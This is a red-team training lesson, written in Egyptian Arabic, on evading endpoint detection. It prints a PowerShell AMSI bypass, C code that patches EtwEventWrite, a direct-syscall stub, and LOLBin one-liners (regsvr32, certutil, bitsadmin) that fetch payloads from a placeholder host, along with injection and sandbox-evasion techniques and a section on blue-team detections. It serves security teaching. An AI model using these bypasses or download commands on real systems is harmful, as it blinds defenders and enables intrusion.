اعرف اللي قصادك. احمي أرضك.
الفرق الحمراء — الهجوم

Defense Evasion — EDR Bypass اللي محدش بيقولك

AMSI و ETW و Syscalls و Packers — تعدي من غير ما تحس بيك

المستوى
خبير
المدة
90m
الترتيب
الدرس 48 من 85
AMSIETWSyscallsPackers

القط والفار — مين بيلاحق مين؟

تشبيه يقرّب الفكرة
الـ EDR الحديث مش بيدوّر على الـ "virus" القديم اللي بـ signature. بيدوّر على السلوك: Word بيشغّل PowerShell؟ ذاكرة فيها Cobalt Strike beacon pattern؟ child process لـ msword.exe اسمه cmd.exe؟ كله flags. شغل المهاجم المتقدم: يخلّي السلوك يبان طبيعي. مش يشغّل tool، يخلّي الـ tool يبان زي اللي حواليه.

- طب يا حضرتك إحنا عندنا EDR بـ مليون دولار، ده بيقفل كل حاجة!

متوقّع كالعادة يا مستجد. لو AV التقليدي مات، ليه لسه الناس بيعتمدوا على signatures؟ ليه لسه عندنا "تحديث الـ definitions"؟ الـ vendor بيبيع لك راحة بال، مش حماية. الفرق كبير.

طبقات الكشف اللي لازم تتجاوزها

  1. Static AV — توقيعات الملف.
  2. AMSI — يفحص النصوص قبل تنفيذها (PowerShell, JS, VBA).
  3. ETW — مصدر تليمتري لـ EDR.
  4. User-mode hooks داخل ntdll.dll.
  5. Kernel callbacks (PsSetCreateProcessNotifyRoutine).
  6. Behavioral / ML في السحابة.

AMSI Bypass — أساسيات

AMSI = Antimalware Scan Interface. يتعرّض الـ PowerShell payload له قبل التنفيذ. الفكرة: إفساد العلم (amsiInitFailed) أو تصحيح الذاكرة.

PowerShell — historical
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
  .GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

الأساليب الحديثة:

  • Hardware Breakpoints على AmsiScanBuffer.
  • Patch in memory — VirtualProtect → mov eax, 0x80070057 ; ret.
  • Reflection + obfuscation ديناميكي للسلاسل.

ETW Patching — تعمية المراقبة

الـ EDR يقرأ من ETW providers. تعطيل EtwEventWrite داخل العملية يقطع التليمتري عنها فقط (لا عن النظام).

C — concept
DWORD oldProt;
void* p = GetProcAddress(GetModuleHandleA("ntdll"), "EtwEventWrite");
VirtualProtect(p, 1, PAGE_EXECUTE_READWRITE, &oldProt);
*(BYTE*)p = 0xC3;  // ret
VirtualProtect(p, 1, oldProt, &oldProt);

Unhooking — استرجاع ntdll نظيف

الـ EDR يضع jmp في بداية دوال ntdll. نعيد قراءة ntdll.dll من القرص و نستبدل قسم .text في الذاكرة.

Direct & Indirect Syscalls

بدلاً من استدعاء NtAllocateVirtualMemory من ntdll (المهوكة)، ننفّذ syscall مباشرة.

  • SysWhispers3 / Hell's Gate / Halo's Gate / Tartarus Gate.
  • Indirect syscall أصعب اكتشافاً (يحافظ على شكل call stack).
ASM
Nt$Func PROC
    mov r10, rcx
    mov eax, SSN
    syscall
    ret
Nt$Func ENDP

Process Injection — الكلاسيكيات الحديثة

  • Process Hollowing — تشغيل عملية شرعية ثم استبدال محتواها.
  • Module Stomping — تحميل DLL شرعي ثم الكتابة فوقه.
  • Early Bird APC — حقن قبل بدء التنفيذ الفعلي.
  • Thread Pool Injection (PoolParty) — يتجاوز معظم الـ EDRs حالياً.
  • Indirect Dynamic Call + stack spoofing.

Payload Obfuscation و التشفير

  • Donut — حوّل PE/DLL/.NET إلى shellcode مشفّر.
  • Sliver / Havoc — توليد implants مع sleep obfuscation (Ekko, Foliage).
  • Nimcrypt2 / PEzor / Freeze.
  • Sleep masking — تشفير الذاكرة أثناء الـ sleep ليتجنب memory scanners.
  • Stack Spoofing — تزييف call stack ليبدو كأن النداء جاء من مكان شرعي.

Living-off-the-Land (LOLBins)

استخدام أدوات Microsoft الموقّعة لتنفيذ كود — يمر دون توقيع خبيث:

LOLBAS examples
rundll32.exe shell32.dll,Control_RunDLL evil.cpl
regsvr32 /s /u /n /i:http://a/b.sct scrobj.dll
certutil -urlcache -split -f http://a/x.exe x.exe
bitsadmin /transfer j http://a/x.exe %temp%\x.exe
InstallUtil.exe /logfile= /LogToConsole=false /U evil.exe
wmic process call create "powershell -enc ..."

قائمة مرجعية: lolbas-project.github.io.

Sandbox & VM Evasion

  • التحقق من عدد المعالجات و الذاكرة (≤2 cores, <4GB RAM = sandbox محتمل).
  • قياس وقت Sleep (sandbox غالباً يقفز فوقه).
  • وجود VBoxService.exe / vmtoolsd.exe / artifacts.
  • تحرّك الفأرة و سجل الـ recent docs.
  • Domain check — لا تنفّذ إلا داخل دومين الضحية.

الحماية — إزاي الـ Blue Team بيكشف ده كله

  • Sysmon + قواعد SwiftOnSecurity / Olaf Hartong.
  • ETW-TI (Threat Intelligence provider) لرصد syscalls مباشرة.
  • Memory scanning دوري بـ Moneta / pe-sieve / Hollows Hunter.
  • قواعد YARA على الذاكرة لـ CobaltStrike beacons, Sliver, Mythic.
  • كشف unbacked memory (RWX, no module) = إنذار.
  • منع child processes غير المعتادة من Office عبر ASR rules.
  • تطبيق WDAC / AppLocker في وضع enforced.
  • Credential Guard, HVCI.

غلطات الـ junior في الـ red team side

الخلاصة الناشفة

الـ evasion مش حركة واحدة. ده تركيب من 10+ تقنية شغّالة في نفس الوقت: AMSI bypass + ETW patch + indirect syscalls + sleep masking + stack spoofing + LOLBAS + domain check.

اللي بيكسر واحد فيهم بيكسر الكل. ولو واحد منهم سقط، الـ chain كلها سقطت.

للمدافع: ما تستثمرش في tool واحد. استثمر في visibility. كل ما الـ data أكتر، كل ما الـ adversary بيلاقي صعوبة يخفي. الـ logs اللي ما بتجمعهاش = هدية للـ adversary.

خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.